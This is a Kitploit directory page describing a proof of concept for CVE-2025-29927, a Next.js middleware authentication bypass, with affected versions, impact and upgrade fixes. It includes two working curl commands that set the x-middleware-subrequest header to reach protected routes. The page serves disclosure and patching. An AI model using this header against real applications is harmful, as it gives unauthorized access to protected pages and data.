Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-29927 — Proof-of-concept exploit for CVE-2025-29927, demonstrating authentication bypass in Next.js middleware via the x-middleware-subrequest header, with affected versions and mitigation guidance. | Kitploit
Tools/GitHubGitHub/toddkk02/cve-2025-29927
Authentication & AuthorizationVulnerability AnalysisIDS/IPS EvasionWeb Application ExploitationCTFPenetration Testing
GitHubtoddkk02/cve-2025-29927

CVE-2025-29927

Proof-of-concept exploit for CVE-2025-29927, demonstrating authentication bypass in Next.js middleware via the x-middleware-subrequest header, with affected versions and mitigation guidance.

View Repository
25 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29927 — Next.js Middleware Authentication Bypass

Overview

Imagine a bouncer in front of the club, but if you tell him "I'm already in," he lets you pass without checking. That's exactly what CVE-2025-29927 is.

Middleware in Next.js runs before a request is processed, making it the ideal place to handle authentication. Next.js uses an internal x-middleware-subrequest header to prevent recursive requests and avoid infinite loops. This vulnerability demonstrates that it's possible to bypass or skip middleware execution entirely — including critical security checks like authentication before reaching a protected route.


Affected Versions

BranchFixed in
15.x< 15.2.3
14.x< 14.2.25
13.x< 13.5.9

Vulnerable applications

  • Applications that host Next.js and use middleware
  • Applications that rely on middleware for authentication and security checks without validating later in the application stack

Unaffected

  • Applications hosted on Vercel
  • Applications hosted on Netlify
  • Applications published as static exports (middleware is not executed)

Impact

Thousands or millions of applications run on unpatched Next.js versions. If unmitigated, this vulnerability allows unauthenticated access to protected routes by anyone — no credentials required.


Proof of Concept

root@kitploit:~
curl -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  http://localhost:3000/private-area

The response returns the protected page without any authentication.

I exploited this vulnerability on a real CTF environment

root@kitploit:~
curl -s "http://<target>/<private-area>" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"

Fix

Upgrade Next.js to a patched version:

  • 15.x → 15.2.3 or higher
  • 14.x → 14.2.25 or higher
  • 13.x → 13.5.9 or higher
Download Tool